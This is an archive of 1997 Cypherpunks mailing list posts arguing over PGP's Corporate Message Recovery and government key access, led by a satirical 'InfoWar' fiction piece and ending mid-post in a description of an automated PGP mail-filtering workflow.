Alexis placed a white rock in one of the squares. Jonathan placed a black
rock next to it.

They were engaged in the use of one of the first computers used to wage
InfoWar...an ancient oriental game, called 'Go.'
Fortunes and kingdoms were won and lost over the placement and arrangement
of black and white stones. Like 0 and 1, on and off, yin and yang.

Cowboy was thinking of an article he had pulled up from the past, titled,
"The History of Chess," or some such, from a magazine called 'Playboy.'
It described chess as originating in primitive times, with a board having
only one square on it. Each player had one playing piece, and you could put
your piece on the square, as long as you were willing to back it up with
your fists.
He thought about the battle for control of the InterNet that was taking
place a century in the past. The more things change...
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                  Jonathan

                  "I've looked at life from both sides now,
                   From win and lose, and still, somehow,
                       It's life's illusions I recall
                      I really don't know life...at all.
                               - Joni Mitchell

During the censorship crisis on the CypherPunks list, when the list members
were trying to make sense of what was going down, a lone voice whispering in
the wilderness pointed out that the battle being waged had little to do with
censorship, and everything to do with InfoWar.

The Tao whispers so that it will be heard by those who do not have all of
their attention tied up in shouting.
The Tao whispered during the censorship crisis, just as it had whispered in
the madness that overtook Germany, then Europe, then the World. It was heard
by the Hermit, and echoed by the Fool. It whispered "InfoWar."

But it seemed that no one had heard...
----------------------------------------------------------------------------

The Process of human alchemy marches on: Revelation of the Method. They are
Making Manifest All that is Hidden and what a hell-fire joke it is--for
almost no one is paying conscious attention, even as the secrets of the time
are dropped like pearls before wine.
-Michael A. Hoffman II
----------------------------------------------------------------------------

...at least, until history took a step back, and a step to the left.
----------------------------------------------------------------------------

The whole goal of the hijacking of the phrase "key escrow" to
camouflage GAK was to obscure the difference between voluntary
and involuntary participation.

Someone getting access to your secrets against your will,
whether by trickery, threat of force, or burglary is not
escrow. At least, not until the USG deliberately chose to
abuse that word to throw a mask of legitimacy upon its rotten
idea of mandatory wiretapping for all digital communication.

Damn, but it is frustrating to see such a bare-faced NewSpeak
gambit succeed so brilliantly against otherwise literate people.
Everyone should read George Orwell's paper on (ab)use
of language in politics. None of the examples he cites are
nearly as worthy of Minitru as is this single conceptual hijacking.
-Zooko Journeyman
----------------------------------------------------------------------------

At the time that the Trei Transponder exploded, PGP, the holy icon of the
CypherPunks, was under a full-scale frontal attack by...the CypherPunks.
The reason...Corporate Message Recovery.

Just as the assault by the Dark Forces on PRZ and PGP had alerted the Magic
Circle to a soft spot on the underbelly of Gomez and his Dark Allies, the
assault on CMR and PGP by the CypherPunks alerted the Dark Forces that they
had been premature in celebrating their InfoWar victory in their assault on
the CypherPunks list.

About a century too early...
----------------------------------------------------------------------------

I presume the PGP PR person (who ought to get the sack in my opinion)
thought that a sudden press release of such marvelous new feature as
PGP SnoopWare and a SnoopWare Enforcer for Third-parties would go down
well. It doesn't.
-Adam Back
----------------------------------------------------------------------------

Although PGP's 'Corporate Message Recovery' software had its proponents and
detractors on the CypherPunks list, the bottom line was that it marked a
change in the battle front in the Crypto Wars.
Even Philip R. Zimmerman, himself, was not happy with the PGP name being
lent to a product which amounted to an expansion of the definition of
privacy to include Little Brother as the 'owner' of everyone's privacy
within a company, and thus, by future extension of the concept, Big Brother
as the 'owner' of everyone's privacy within a nation (and eventually, within
the New World Order).

After a short period of CypherPissing about the few pros and many cons of
this new direction in the encryption battle front, the CypherPunk aphorism,
"The answer to noise, is more noise." began to take hold, with Tim May
broaching the possibilities that "forward secrecy systems" might hold for
empowering the individual caught deep within the bowels of the Great
Machine.

Wittingly, or unwittingly, the CypherPunk Philosopher King sidestepped the
Ministry of Truth's new definition of privacy by counter-attacking with a
subtle, but important redefinition of email, by using a seemingly innocent
reference to "conventional e-mail" in his post exploring the possibility of
simply 'routing around' the 'damage' (an old CypherPunk tradition).
Perhaps the answer to 'InfoWar,' is 'more InfoWar.'
----------------------------------------------------------------------------

Gomez stared at the mountain of references that his Dark Allies and their
human minions had gleaned from email, news groups, mailing lists and web
sites from around the InterNet-references to troubling new trends and
technologies that foreshadowed a threat to the future that had been
preordained by the Evil One.

PHil's Unified Corporate Key-Yardstick of Outbound Uniformity.

No details, but the reference to Zimmermann was obvious. Had he just begun
to explore new developments in the Corporate Key technology that had been
slipped into the mix of his original concept behind PGP, or did he already
have methodologies in place to defend against the misuse of Corporate
Message Recovery?

SAK - Saboteur Access to Keys

This had the Mark of the Toad written all over it.
Throughout the Corporate Message Recovery system, identical corporate keys
began showing up on different systems. All indications were that people
inside the corporations had access to a method of slipping in the Saboteur
Key in a way which its footprint mirrored that of the original key.

Destination Escrow

This seemed to be the most dangerous of all the quickly emerging
'unconventional email' technologies. It had all the marks of a collaborative
effort between the CypherPunks, the Circle of Eunuch, Alt2600, MI9, COM-12,
and a host of other freeh-dumb fighters.
Remailers, Eternity Servers, Crowds, DevNull Addressing, Inner Onion
Routing-all seemed to play some part in this diverse, but highly effective
methodology of disguising the true routing and final destinations of email
and other communications.

Some of the DE technologies seemed to be escrowed internally, catching the
email after it had been processed by the email system, and before it had
been sent to its destination, either changing the destination, or mirroring
the message to other destinations, as well.
Some seemed to have the secret code for their true destination escrowed at
some point in the InterNet routing system itself, outside the watching eyes
of internal system security personnel.

Distributed Key Escrow

The Dark Allies were not certain what DKE technology actually referred to,
but it was suspected that many communications contained plain-text stego
which was protected by use of a distributed encryption and decryption key
which could not be compromised except by accessing the systems of all who
held a part of the key.
Unlike the public-private key technology, it seemed to be highly resistant
to attack by gaining control of systems and routers, or any form of
Man-in-the-Middle attacks. It was suspected that they were combined with the
use of a new type of distributed remailer, as well, but this had been
impossible to confirm, as of yet.

Gomez frowned...it looked like InfoWar was going to be a battle, after all.
----------------------------------------------------------------------------

One thing that the Magic Circle knows from our long battle with Gomez was
that he is, above all things, thorough.

There is no doubt in our minds that the Dark Allies, upon searching the
rubble of our last safe house, will find the small platinum plaque which
will provide not only a verification of the presence of the Circle of
Eunuchs and the CypherPunks concealed deeply within the heart of WebWorld,
but also a confirmation that:

"The end of our beginnings, will be to arrive from where we started, and to
know it for the first time."
-The Magus

It will not take long for the Dark Allies to notify Gomez, both now and a
century in the past, that the front of the plaque reads:

                     Trei Transponder (c) Peter Trei 1997
     "Those who do not learn from the future, are doomed to repeat it."

And Gomez will undoubtedly understand, for the first time, the true meaning
of the motto of a small computer company formed in Tucson, Arizona, a
hundred years previously, when he reads, on the back of the plaque:

                                  Built by:
                           Pearl Harbor Computers
                       "It Ain't Over 'Till It's Over"
----------------------------------------------------------------------------

                           CypherPunks Write Code
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Tue, 14 Oct 1997 00:45:13 +0800
To: cypherpunks@cyberpass.net
Subject: patenting big brother
Message-ID: <CMM.0.90.4.876760788.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



if it's not one thing, it's another.

Ariel Glenn
ariel@columbia.edu
-----

http://www.nytimes.com/library/cyber/week/101397patents.html

Engineer Invents Computerized Surveillance System

            By TERESA RIORDAN

Imagine that a city park were studded with discreetly
placed cameras that fed images into computers programmed to keep
a watchful eye. This may sound darkly Orwellian, but
David Aviv, a former aerospace engineer, has patented exactly
such a system as a way of combating crime. 

Aviv said his invention, which he calls the Public Eye,
used pattern recognition to detect robberies or acts of violence. 

He said he had digitized and stored a library of physical
interactions. "We employed actors to do re-enactments of
muggings," he said. "We had 10 different sizes of muggers
and 10 different sizes of victims." 

The camera sends to a computer the real-time images of a person
getting money from an automated teller machine, for example. The
computer then takes a snapshot and compares the image against the
library of threatening interactions. 

"It takes another snapshot and then another snapshot and does a similar
comparison over and over again to reduce false alarms," Aviv
said. "I'm describing this in slow motion, but it
actually takes place every fraction of a millisecond." 

If the computer detects a malicious act, an alarm promptly alerts the 
police or a paid guard. 

Aviv said he also used a type of pattern recognition,
called word gisting, to detect aggressive verbal interactions. Muggers,
according to Aviv's research, use a limited vocabulary.
"Mostly they say, 'Give me your money,' and then use a lot of cuss
words," he said. His word-gisting library contains about 20
basic words, spoken in a number of different dialects. 

How is Aviv's system different from having a human guard
observe a bank of television monitors? "Guards get tired," Aviv
said. "And they are expensive." Aviv estimated that it cost
about $130,000 a year to have one site manned by guards 24
hours a day. "My system you could lease at $500 a month,"
he said. "You're not going to eliminate all guards, because you
still need someone to run over when a hostile act is taking
place." 

Aviv's company, ARC Inc., which is based in Las Vegas, is
seeking financing for further development of the surveillance
system. He received patent 5,666,157. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 20:57:13 +0800
To: frantz@netcom.com
Subject: Re: IETF policy on refusing to allow politics to weaken protocols(Re: Why Adam Back keeps politicizing technical issues)
In-Reply-To: <v03007802b067652cef84@[207.94.249.103]>
Message-ID: <199710131140.MAA01044@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Frantz <frantz@netcom.com> writes:
> At 2:41 AM -0700 10/11/97, Adam Back wrote:
> >
> >5. The IETF process should be accepting proposed designs and deciding
> >on the best ones, which PGP Inc, and the other suppliers would then go
> >and implement.  As it is now, as William Allen Simpson just pointed
> >out, PGP Inc is cruising ahead implementing, and deploying things
> >without bothering with the OpenPGP process.
> 
> Just a quick reality check here.  Frequently implementations have proceeded
> IETF standards.  That is one of the strengths of the IETF process (as
> compared with e.g the CCITT.)

I must admit some ignorance of the IETF processes due to my only
understandings being gained from intermittent following of the IPSEC
standardisation process, and in that respect I thank you for the data
point...

However, I would defend that my understanding is, and my point was
more that proposals with trial implementations should be used as
discussion points, and as competing draft proposals rather than being
used as arguments for it being necessary to build compatibility with
just because someone has rushed off and sold copies of them, prior to
ratification of those proposals by the standardisation process.  And
that independently of the technical merits of those proposals, or
arguably even in the face of evidence that there are more secure
alternatives to these proposals.

The IETF standardisation process is supposed to make decisions based
on technical merit.  Not based on marketing clout.  Nor even based on
reputation capital, something which PGP surely has in abundance, as
transferred to it by Phil Zimmermann with his virtual net.god status.

I also take exception to PGP's Will Price's attempt at silencing
negative discussion of the security and political aspects of PGP's
GAKware, in his rhetoric on this being an inappropriate forum for
discussion of political aspects of CMR.  If Will Price thinks that we
should just lie down and accept PGP fielding inferior security GAKware
systems, and accept PGP trying to impose them on the standard, he can
think again.  Crypto politics can't help but play some part in
discussion of crypto standards.  

As Tim May pointed out in an earlier post, we gave the same roasting
to companies participating in the Key Recovery Alliance Program, and
to companies like TIS, and IBM for various GAK sell out deals.  In
fact, Netscape got worse roastings for far lesser crimes than PGP's
crimes in attempting to architect GAKware into the OpenPGP standard,
or if that fails, in PGP's death wish in attempting to commit
reputational suicide by implementing and widely deploying GAKware.

My concern specifically is that some of the less desirable aspects of
the way that PGP have implemented CMR should not be adopted into the
standard for interoperability reasons alone.  I am worrying that PGP
Inc will shortly be using this line of reasoning, for backwards
compatibility with pgp5.5 functionality for similar reasons as one
might reasonably argue for backwards compatibility with pgp2.x.

I noticed that Ian Grigg (Systemics) also expressed this point about
standards process manipulation well in his article.

Systemics has a much better track record for open development, and
openness of design decisions than PGP Inc since it's incorporation, or
before that than the pgp3.0 development team of two in beetling
themselves off in a room at Sun or wherever and taking ages to develop
software.  (No offense intended to said developers technical ability,
which I respect immensely, the error was organisational.)

Systemics is also outside of the US and for that reason better placed
to compete internationally.  PGP Inc is losing reputation capital to
Systemics and other such small companies in eroding it's support from
netizens by fielding GAKware systems.

(I have no affiliation with Systemics).

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 14 Oct 1997 04:55:06 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: mailing list attacks (was Re: Stronghold)
In-Reply-To: <199710131455.PAA02279@server.test.net>
Message-ID: <3442853B.74BF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> Mailing lists are pretty vulnerable to spoofing in various ways.  At
> the time of the attack, an additional possible class of spoof which
> may or may not have been occuring would have been:
> 
> For someone to use the list of subscribers available for the lists
> homed at majordomo @ toad.com to fuck with peoples minds.  For example
> by sending messages with forged From & other headers making them
> appear as if they did come from toad.com to all subscribers, or some
> subset of them.
> 
> That would allow one to construct some very interesting problems: for
> example Sandy apparently passing to the edited list something which
> seemed violently out of character, but sending it to everyone but him,
> so that he would deny seeing it even, and look like every one else as
> if he were blatantly lying.
> 
> Or to generally mess with who you sent to for different lists and
> combinations of lists.  This would allow you to construct all sorts of
> apparently independently confirmable conspiracy theories.
> 
> I'm not sure some of these things weren't happening.  There are a few
> current and former list members who delight in this kind of clever
> prank.

Many weird things happened during the course of the list censorship, not
the least of which was that every time someone on the list pointed out
apparent discrepancies between what was announced as being done and
reality, the mechanizations behind the list would change to become
more obscure.
More than one list member called this bullshit when I pointed it out, 
then shit a brick  when they researched the matter themselves, and 
found it to be true.

I was subscribed to all three lists at one time or another, and was
also subscribed from more than one account. I also had another list
member forward me their archive of posts from the lists.
There was a variety of interesting things which one could divine from
the different 'versions' of the list that appeared from these three
sources, one of which was that some controversial posts seemed to
go out from toad.com to *only* the person who sent it (or to people
who were cc:'d on the post), making it appear to the sender that 
their post had gone out to everyone on the list.
I had already suspected this from the fact that some rather outrageous
posts seemed to go unnoticed on the list, and I had confirmed it to
a certain extent by cc:'ing and bcc:'in certain individuals, but an
analysis of all the posts in my possession, from different sources,
confirmed it beyond doubt.

Although a variety of individuals could confirm various details of 
what I have described, the 'facts' are still pretty much meaningless
to those who did not personally do the footwork themselves.
Much the same applies to the Corporate Message Recovery of the new
alien-PGP being discussed on the Cypherpunks list.
Your best weapon is your nose. When something smells bad, it usually
is. All of the analysis I did of list posts served mainly to convince
myself that my original deductions, based on far less information,
were correct.

My main problem with the new product is that it trades on the name and
reputation of PGP to promote a product which serves a totally different
market and need.
It is similar to my using the status of a long-established
"TruthMonger's
Crazy Ramblings" mailing list to promote "TruthMonger's Trustworthy
Health
Products Mailing List" to the three list subscribers. (Or the use of
John
Lennon's music to sell sneakers...<barf> <barf>)

The *real* question is: "Does the packaging have a picture of an actor
in
a white smock, with a stethescope around his neck, a big-breasted nurse,
licking her hot, wet lips, and a child, petting a dog?"
If it does, then buy all of the company's stock that you can get your
hands on.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas Junker" <tjunker@mail.phoenix.net>
Date: Tue, 14 Oct 1997 03:50:16 +0800
To: jon@pgp.com
Subject: Re: Attitude and Assumptions
In-Reply-To: <3.0.3.32.19971010180024.00ad8ce0@mail.pgp.com>
Message-ID: <199710131951.OAA23622@raid2.fddi.phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain



While I agree with the general points you make in your Crypto Blues, 
I also agree with what I am reading from others regarding paving the 
way for GAK.  This is probably because you didn't actually deal with 
those criticisms individually in your rant.

To say that you will draw a line somewhere down the road is 
ineffectual. It's not unlike the gun owners who won't join an 
organization, won't communicate with their elected representatives, 
and rely on "Well, if they come for *my* gun, they'll have to pry it 
from my cold, dead fingers!"  It's too late by then.  If and when it 
comes time for one or more of you to decide to quit rather than do 
what is wrong, it will be way too late.  I'm reminded of the 
far-left-liberal comic and actor Dennis whatshisname who, in a 
standup act, made reference to the "cold, dead fingers" view of some 
gun owners and said, "That'll work!"

Whoever it was who said that the capitalists would sell the 
communists the rope with which to hang them was right.  It is even 
worse in today's brain-dead business world where policy decisions are 
made by bean counters who can't see more than 90 days past their 
bottom line and have no visibility whatsoever of the rich component 
mix of that bottom line.  I have no doubt that if and when the time 
comes that the government puts out RFPs for ID chip implant systems 
or tattooing barcodes on our foreheads there will be no scarcity of 
companies lining up to get the contracts.  Free enterprise doesn't 
automatically confer intelligence, forward view, or an understanding 
of freedom and the long-term consequences of undermining it.

It is incumbent on everyone who favors individual liberty and
privacy to do everything possible to prevent the infrastructure for
GAK and other police state measures from being put into place.  Adam
Back is entirely correct in believing only in technical solutions,
not words.  It must remain technically difficult, even impractical,
for politicians and bureaurats to simply prescribe how mechanisms
put in place by well-meaning people will be used to invade privacy
and monitor communications.  The best defense against censorship is
a technological structure that defeats censorship before it starts. 
The best defense against the destruction of privacy is a
technological structure that makes invasion of privacy difficult or
impossible.  It is far better to have a system in which a
destructive proposal fits badly and threatens to cause innumerable
uncontrollable consequences than one which lays the groundwork for
the easy implementation of destructive proposals.

The risk-of-loss set of arguments is also in some ways a large red 
herring.  There is nothing particularly unique about crypto that 
makes the potential loss of information qualitatively different than 
countless garden variety risks with which people deal every day.  
May organizations have stopped backing up desktop PCs.  Most 
everyone tried to do those backups at one time, but as disk sizes 
and data volumes increased it became impractical in many 
organizations.  This represents a far greater risk than the loss of 
messages or files the same employees may keep in encrypted form, but 
there are no interest groups or government bodies trying to propose 
Desktop PC Escrow systems.

Many employees wittingly or unwittingly use the strongest crypto in
existence, from which there is *no* recovery under any circumstances
should the employee drop dead: wetware storage.  Rate of
technological change and increasingly full "plates" have combined to
reduce documentation to historic lows.  If a document becomes
obsolete, even false, virtually the moment it is completed, it is
less likely to be written.  If it's never written because its 
durability is in question or there is too much else to do, it can 
never be recovered except from the functioning mind of the custodian 
of the information, but no one is proposing "brain escrow."  The 
costs of dealing with the loss of an employee with a headful of 
unique knowledge are becoming an expected and largely unnoticed 
thing, like the expectation of a third world business that a simple 
action like fixing a piece of hardware may involve a large multiple 
of the time and money it would cost in any U.S. city.  And still the 
bean counters haven't a clue.

It is even quite common these days that when one of those custodians
leaves an organization there is insufficient staffing to make even a
feeble attempt to pick up what the departing person has left behind.
Rate of obsolescence aggravates this by making it seem easier to
just implement the next version or product than pick up the pieces
of managing the old one.  I've seen people depart, leaving a cube
full of diskettes, manuals and, presumably, notes, only to see the
organization move someone else with different job responsibilities
into the cube and never, ever, not even once retrieve or look at any
of the materials of the departed employee -- not their PC, their
files, their desk, their file cabinets, their manuals -- nothing.

Individuals can also wipe their mail files, wipe their disks, suffer 
disk failures, etc.  They can take the only copy of something home 
and die in a fiery car crash.  They can drop their laptops from 
heights more than the prescribed 2 inches.  It is not possible to 
list the ways in which information can be lost and/or compromised, 
ways with which key recovery cannot possibly attempt to deal.  Since 
many of those things happen all the time in the real world on a daily 
basis it goes unnoticed that the vast majority of them are dealt with 
by the people involved without comment and largely without noticeable 
adverse consequences, just as when smoking was common in offices it 
wasn't particularly noticed that most offices didn't burn down 
despite the widespread use of open flame and smoldering materials in 
tens, perhaps hundreds of millions of instances daily.

Loss of encrypted information is almost a non-issue in reality, 
somewhat like the non-issue of the risk of flying by scheduled 
airline.  Crypto, like airliners, increases the probability that a 
loss will be more noticeable by virtue of quantity, but has no 
inherent effect on the likelihood that a greater percentage of total 
information will be lost.  An employee generally exercises the 
same type of diligence in this area as in the myriad other 
areas where some thought and action must be directed at 
preventing catastrophic loss.  The motivation is the same, 
too:  retention of employment and avoidance of lawsuit.  An 
operations manager already has to figure out how to make sure that 
last year's backups will not only be physically safeguarded but also 
capable of being read and restored should they be needed, for 
example.  There is nothing more magic about "crypto" than there is 
about "backup" in this sense.

Crypto, like the Internet, is a mere conceptual hook on which the
ignorant (strongly represented in the so-called "news" media) can
hang a set of alarms and not necessarily needed solutions.  It's 
an umbrella under which those who have nothing better to do can 
collect a set of issues for conceptual amplification and 
synergistic alarm enhancement, obscuring the fact that many 
functional counterparts to those issues are in the fabric of 
everyday business work.  

The mere use of a computer involves a larger quantity and more
serious degree of "gotchas" than arise in the use of crypto on those
computers, and has for many decades. The manpower lost in the 10+
years it took us all to move past the 640K limit and the 1960's
technology of DOS on the PC platform probably exceeded what would be 
required to do brute force solutions of the worldwide Y2K problem.  

Imagine that someone had latched onto the business danger of loss of
source code in 1960 and had sensitized everyone to the issue to the 
point where this kind of discussion and debate were being conducted 
over the need for national and worldwide standards and mechansisms 
for commercial and government protection against the loss of source 
code.  Imagine the Congress of the U.S. effectively taking the 
position that businesses are too stupid to safeguard the source 
code that runs their enterprises and that the government must 
require the filing of copies of all source code in case anyone 
loses some.  Or that all compilers and source editors have 
source recovery features.  Would that have sounded reasonable at any 
time in the last 30-40 years?  Would it sound reasonable today?

Yes, some people and organizations have lost source code.  No, most
people and organizations have not lost their critical source code. 
Those that do tend to weed themselves out, just as those who tend to
make bad decisions and take self-destructive actions in any area of
life, business or personal, tend to reduce their own effectiveness 
and participation in the game.

GAK is different, of course, in that it brings the agenda of the 
politics of power into the fray, and thus crypto has become the 
subject of an array of efforts as disingenuous as the safety 
arguments of unions when fighting to preserve a completely obsolete 
and useless job function.  All of a sudden governments who never gave 
a rat's ass about the risks to commercial entities of losses of any 
other kind of information in any other context are falling all over 
themselves to promote GAK because they are suddenly overcome by 
altruism.  Right.  Or because they have had a revelation and have 
remembered that commerce is good for the country and government is 
supposed to be a means of providing stable legal and public 
safety structure and not an end in and of itself.  Sure.  

Government never misses a chance to take opportunistic advantage, and
the chance to treat crypto as something qualitatively different than
thousands of other business and personal privacy questions and
mechanisms is too good to pass up.  The opportunity for government
to gain access to information that just happens to be digital is of
far greater significance than any offered justification based on the
danger to businesses that they will be too stupid to assure their
own access to their own information or the danger to nations that a
few people or groups of people may be able to communicate in ways
that preclude surveillance.  The only thing that GAK is about is
government power over individuals and groups -- the gradual
conversion of citizens into subjects, just without all the trappings
of old-fashioned royalty and notions of the divine right of kings.  
Governments see this as an opportunity to gain access to private 
communications in ways that would never have been acceptable in the 
days of paper letters and envelopes.  Because politicobureaucrats, 
like ants, cooperate instinctively to concentrate power in the halls 
of authority we see mulitple facets to the attack on privacy, but 
they are only that -- facets of the same ugly stone.

If the best minds fall into step to build and facilitate the
mechanisms to destroy individual liberty because "someone will do
it," we are lost.  If "someone" does it, but the best minds are
working to make a police state technologically infeasible, we may
not see the light of freedom extinguished after all.  In the past
this battle was heavily influenced by material resources. 
Increasingly, the playing field is being leveled by technology.  The
likelihood that a small number of individuals can significantly
influence the balance has passed the threshold of credible
probability, witness Phil's PGP and numerous other developments. 
This likelihood is on an upward trend, but the forces of darkness
are also making better and better use of technology.  Every person
who can make a difference and isn't committed to individual freedom
is an effective participant in its destruction.  If we have to
explain to our children and grandchildren why they have microchip
transponders in their asses and all their communications are
archived by the government it will be a pretty weak justification to
say that we brought home the paychecks without interruption.

Thomas Junker
tjunker@phoenix.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Mon, 13 Oct 1997 17:32:20 +0800
To: kent@bywater.songbird.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <19971013011450.42022@bywater.songbird.com>
Message-ID: <199710131441.OAA00334@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Kent Crispin wrote:

> Perhaps he has no business having a personal key on a company machine. 
> He's a fool if he does, anyway -- if the company wanted to snoop his
> key they just go in after hours, install a keyboard sniffer, and grab
> his passphrase...the bottom line is, Ray, that if it is on a corporate
> machine, the corporation has access, whether the employee thinks so or
> not. 

this entirely depends on the specific protocol followed by the 
corporation and the employee. its not unethical for the corporation
to have access to the employee's _work_ key and data encrypted
with the key if they mutually decide it that way. The employee 
can always use a different crypto system for his personal data. 
and its not unethical for a firm to sell a key-escrow product. 
enforcing the use of key escrow is. 

vipul

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 13 Oct 1997 21:21:03 +0800
To: cypherpunks@ssz.com
Subject: Re: James A. Michner [non-crypto]
Message-ID: <199710131315.PAA20235@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> Thought some of you might care to know that James A. Michner the Pulitzer
> prize winning author who lives here in Austin, Tx. has decided to take
> himself off the kidney dialysis machine that has been keeping him alive.

I guess that means the end of The True Story of the InterNet...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 14 Oct 1997 06:53:00 +0800
To: cypherpunks@Algebra.COM
Subject: Key Lookup Optimizations (Was: Re: D-H Forward Secrecy for E-Mail?)
Message-ID: <199710132248.SAA27545@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710131652.RAA02526@server.test.net>, on 10/13/97 
   at 05, Adam Back <aba@dcs.ex.ac.uk> said:

>> >I also personally prefer people to send me keys in email, because the pay
>> >per second phone lines here at home mean that I tend want to avoid doing
>> >too many online key lookups, so I think this would be an individually
>> >useful feature.
>> 
>> I do my keylookups automatically durning the msg filtering process which
>> is done in parallel to the message Dl's. 

>A clever optimisation to be sure.

>> The outbound message lookups are a little more time consuming but is
>> compensated by fewer keys to look for both because fewer messages on
>> the outbound side and the use of key caches on the client machine
>> for the most used keys for sig verification and encryption. 

>I don't have a key cache, and my keyring is only 216k.  But I'm curious
>about your automated process .. are you also checking all signatures that
>you can by downloading the keys and checking out the WoT for all received
>mailing list traffic etc?  This would cleary result in a much bigger key
>ring.

For the inbound processing of mail I have the following automated
processes:

- -- Messages is downloaded and checked to see if it is a PGP Message (This
is handled by the mailers filters).

- -- If the message is signed the keyid of signature is extracted from the
sig-block and a lookup is performed on the index table for both the users
pubring & sig_cache.

- -- If the key is not found in either then the message is placed in a queue
and a keylookup thread is spawned.

- -- There is a setup for which servers and how many to try when doing the
lookups.

- -- If no key is found on the servers then a canned e-mail message is sent
to the sender requesting his keys. The message is taken out of the queue,
marked that no key was found and that a request had been sent out.

- -- If a key is found it is added to the key cache (sig_cache.pgp). Then
normal sig verification is performed.

- -- After X amount of hits on a key in the cache the key is flagged as a
commonly used key for the user so he can pursue authenticating the key (no
sense in going through a lengthy authentication procedure for a key that
is only used once).

- -- Attached keys are detached from messages and stored in new.pgp keyring
(auto adding of keys to ones keyring is a Badthing (TM) ).

- -- Encrypted messages are decrypted.

All PGP output is appended to the bottom of the message so the info is
there when the user opens the message. If a message is in MIME format then
the below is appended as MIME attachments using text/X-PGPCheck MIME type.
A sample is provided below:

- --------------------------------------------------------------------
MR/2 PGP Signature Check  13 Oct 1997 12:19:55
- --------------------------------------------------------------------


File has signature.  Public key is required to check signature.


Key matching expected Key ID 142DD151 not found in file
'd:\pgp\pgp263a\pubring.pgp'.

WARNING: Can't find the right public key-- can't check signature
integrity.

Plaintext filename: WHGIII\34425839

- --------------------------------------------------------------------
MR/2 PGP Signature Check [Secondary Keyring]  13 Oct 1997 12:19:55
- --------------------------------------------------------------------


File has signature.  Public key is required to check signature. .

WARNING: Bad signature, doesn't match file contents!


Bad signature from user "Ian Brown <Ian.Brown@ncl.ac.uk>".
Signature made 1997/10/13 15:15 GMT using 1024-bit key, key ID 142DD151


WARNING:  Because this public key is not certified with a trusted
signature, it is not known with high confidence that this public key
actually belongs to: "Ian Brown <Ian.Brown@ncl.ac.uk>".

Plaintext filename: WHGIII\34425839

PGPRC=1
PGPRC2=1


>> Also logging of e-mail addresses that do not use PGP cuts down on
>> the number of lookups needed

>Good optimisation.  It sounds really as if your OS/2 setup is more
>advanced than a lot of other stuff around.

- -- For the outbound messages the following procedures are in place:

- -- All messages are signed with the user having an option of disabling
this signature either on a per message basis (through the use of a message
template at creation time) or default conditions can be set in the filter
no to call the signing script (things like don't sign messages to
majordomo, or messages going to remailers, ...ect)

- -- Outbound messages can be flagged for encryption on a per message basis
(through the use of a message template at creation time) or default
conditions can be set in a special default.ndx file used by the encryption
script.

- -- The encryption script first extracts all the e-mail addresses from the
To:, Cc:, & Bcc: lines.

- -- It then does a lookup on the default.ndx table. This is where several
issues are resolved.

    1) No key for address. An address can be flagged as a no-encrypt
address. This is mostly for mailing lists and receivers that do not use
PGP.

    2) Default key for address. An address can be flagged as encrypt and
the keyid for that address is included in the entry for that address. This
handles things like userid does not match the e-mail address for the
person you are sending to (change of address, ect...). Also the issue of
multiple keys having the same e-mail address are handled (their can be 5
keys all with the address john_doe@domain.com in the userid fields but
only one is the real john_doe@domain.com that you are talking to).

    3) Always encrypt flag. You can flag an address to alway encrypt too
regardless of wether the message was flagged for encryption at creation
time. (hmmmm starting to get into the realm of policy enforcement here
<g>).

- -- Unless an address is flagged as no-encrypt then a lookup on the keyring
indexes for both the pubring and crypt_cache are performed.

- -- If and address is not found then a keyring lookup is performed. A
separate cache is kept for the encrypted keys and a similar process of
flagging frequently used keys is in place as with the sig_cache.

- -- now that all the addresses are processed 3 copies of the message are
created:

    1) Encrypted message. This message is sent to all the addresses where
valid keys have been found.

    2) Plain Text message. This message is sent to all addresses where
they have been flagged no-encrypt in the default.ndx.

    3) Error message. This message is returned to the message editor and
the user is informed why the message could not be encrypted and then it is
up to him to resolve the problem. Most common errors are no key found for
the address and multiple keys with the same address found. Both these
conditioned can be resolved by making the proper entries in the
default.ndx file.

        3A) There is a setting flag that tells the script not to split the
message as above and error the complete message unless all addresses can
be encrypted to.

        3B) their is an exception option on 3A where a split message is
not in error if the only addresses with no_keys are flagged as public
distribution (mailing list, newsgroups, ...ect).

    4) BCC messages. Bcc's create a unique problem to the encrypt to
multiple recipients function. Because of the format of the encryption
block the list of keys used to encrypt is known to all who care to look.
This goes against the purpose of a BCC which is to hide a recipient from
the rest. In this case I create a separate message for each BCC and
encrypt that message with only the key for the BCC recipient.

    5) All split messages contain a X-Distribution list containing all the
